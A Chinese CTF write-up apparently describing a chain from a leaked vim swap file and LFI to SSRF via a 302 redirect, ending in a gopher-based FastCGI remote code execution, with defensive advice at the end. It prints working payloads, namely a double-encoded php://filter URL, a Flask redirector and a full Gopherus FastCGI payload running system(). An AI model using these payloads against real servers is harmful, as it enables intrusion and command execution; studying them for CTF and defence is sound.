从302跳转打到fastcgi
字数 1160 2025-08-22 18:37:15

从302跳转攻击FastCGI的技术分析与利用

1. 漏洞背景与概述

本文详细分析了一种通过302跳转实现FastCGI攻击的技术路径。该攻击结合了信息泄露、文件包含、SSRF和FastCGI协议漏洞,最终实现服务器权限提升。

2. 信息收集阶段

2.1 基础信息收集

  • 后端技术识别:确认后端使用PHP
  • 目录扫描发现关键文件:
    • admin.php - 存在302跳转到index.php,表明有session验证机制
    • 发现.swp交换文件泄露(index.php.swp

2.2 利用.swp文件恢复源代码

使用vim恢复.swp文件内容:

vim -r index.php.swp

恢复后获得关键信息:

  • 用户凭证:
    • admin: FetxRuFebAdm4nHace
    • guest: MyF3iend

3. 初步渗透测试

3.1 使用guest账户登录

发现存在文件包含漏洞点,尝试:

  • 包含/etc/passwd - 成功
  • 包含/flag - 发现是假flag

3.2 文件包含技术

发现包含admin.php会跳转回index.php,说明:

  • 使用include函数包含文件
  • PHP代码被解析执行

文件包含绕过技术
使用二次编码的php filter读取文件内容:

php://filter/%25%36%33%25%36%66%25%36%65%25%37%32%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin.php

获取admin.php源码:

<?php
session_start();
error_reporting(0);

if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
    $_SESSION['error'] = 'Please fill in the username and password';
    header("Location: index.php");
    exit();
}

$url = $_POST['url'];
$error_message = '';
$page_content = '';

if (isset($url)) {
    if (!preg_match('/^https:\/\//', $url)) {
        $error_message = 'Invalid URL, only https allowed';
    } else {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $page_content = curl_exec($ch);
        if ($page_content === false) {
            $error_message = 'Failed to fetch the URL content';
        }
        curl_close($ch);
    }
}
?>

4. 关键漏洞分析

4.1 SSRF漏洞

admin.php中存在SSRF漏洞:

  • 接受POST参数url
  • 限制必须以https://开头
  • 开启CURLOPT_FOLLOWLOCATION,允许跟随302跳转

4.2 利用条件

需要满足:

  1. 以admin身份登录(已获取凭证)
  2. 构造302跳转从HTTPS到其他协议(如gopher)

5. 攻击链构建

5.1 搭建302跳转服务

使用Flask搭建本地跳转服务:

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def indexRedirect():
    redirectUrl = 'http://[IP]/shell.php'
    return redirect(redirectUrl)

if __name__ == '__main__':
    app.run('0.0.0.0', port=8080, debug=True)

5.2 使用ngrok创建HTTPS代理

ngrok http 8080

5.3 FastCGI攻击载荷

使用Gopherus生成FastCGI攻击载荷,修改Flask跳转目标:

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def indexRedirect():
    redirectUrl = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'
    return redirect(redirectUrl)

if __name__ == '__main__':
    app.run('0.0.0.0', port=8080, debug=True)

6. 权限提升技术

6.1 通配符提权

利用cat命令的目录穿越特性:

sudo cat /tmp/whereflag/.root/flag

6.2 非预期解:filter链绕过

尽管出题人尝试防护,但仍可通过filter链绕过防护实现攻击。

7. 防御建议

  1. Session验证强化

    • 使用更复杂的session验证机制
    • 实现CSRF防护
  2. 文件包含防护

    • 禁用allow_url_include
    • 严格限制包含的文件路径
  3. SSRF防护

    • 限制curl跟随跳转
    • 实现URL白名单机制
    • 禁用危险协议(如gopher)
  4. FastCGI安全配置

    • 限制FastCGI监听范围
    • 实现访问控制
  5. 开发环境安全

    • 禁止.swp等临时文件泄露
    • 使用版本控制系统而非临时文件
  6. 权限控制

    • 最小权限原则
    • 限制sudo命令使用
从302跳转攻击FastCGI的技术分析与利用 1. 漏洞背景与概述 本文详细分析了一种通过302跳转实现FastCGI攻击的技术路径。该攻击结合了信息泄露、文件包含、SSRF和FastCGI协议漏洞,最终实现服务器权限提升。 2. 信息收集阶段 2.1 基础信息收集 后端技术识别:确认后端使用PHP 目录扫描发现关键文件: admin.php - 存在302跳转到 index.php ,表明有session验证机制 发现 .swp 交换文件泄露( index.php.swp ) 2.2 利用.swp文件恢复源代码 使用vim恢复.swp文件内容: 恢复后获得关键信息: 用户凭证: admin: FetxRuFebAdm4nHace guest: MyF3iend 3. 初步渗透测试 3.1 使用guest账户登录 发现存在文件包含漏洞点,尝试: 包含 /etc/passwd - 成功 包含 /flag - 发现是假flag 3.2 文件包含技术 发现包含 admin.php 会跳转回 index.php ,说明: 使用 include 函数包含文件 PHP代码被解析执行 文件包含绕过技术 : 使用二次编码的php filter读取文件内容: 获取 admin.php 源码: 4. 关键漏洞分析 4.1 SSRF漏洞 admin.php 中存在SSRF漏洞: 接受POST参数 url 限制必须以 https:// 开头 开启 CURLOPT_FOLLOWLOCATION ,允许跟随302跳转 4.2 利用条件 需要满足: 以admin身份登录(已获取凭证) 构造302跳转从HTTPS到其他协议(如gopher) 5. 攻击链构建 5.1 搭建302跳转服务 使用Flask搭建本地跳转服务: 5.2 使用ngrok创建HTTPS代理 5.3 FastCGI攻击载荷 使用Gopherus生成FastCGI攻击载荷,修改Flask跳转目标: 6. 权限提升技术 6.1 通配符提权 利用 cat 命令的目录穿越特性: 6.2 非预期解:filter链绕过 尽管出题人尝试防护,但仍可通过filter链绕过防护实现攻击。 7. 防御建议 Session验证强化 : 使用更复杂的session验证机制 实现CSRF防护 文件包含防护 : 禁用 allow_url_include 严格限制包含的文件路径 SSRF防护 : 限制curl跟随跳转 实现URL白名单机制 禁用危险协议(如gopher) FastCGI安全配置 : 限制FastCGI监听范围 实现访问控制 开发环境安全 : 禁止.swp等临时文件泄露 使用版本控制系统而非临时文件 权限控制 : 最小权限原则 限制sudo命令使用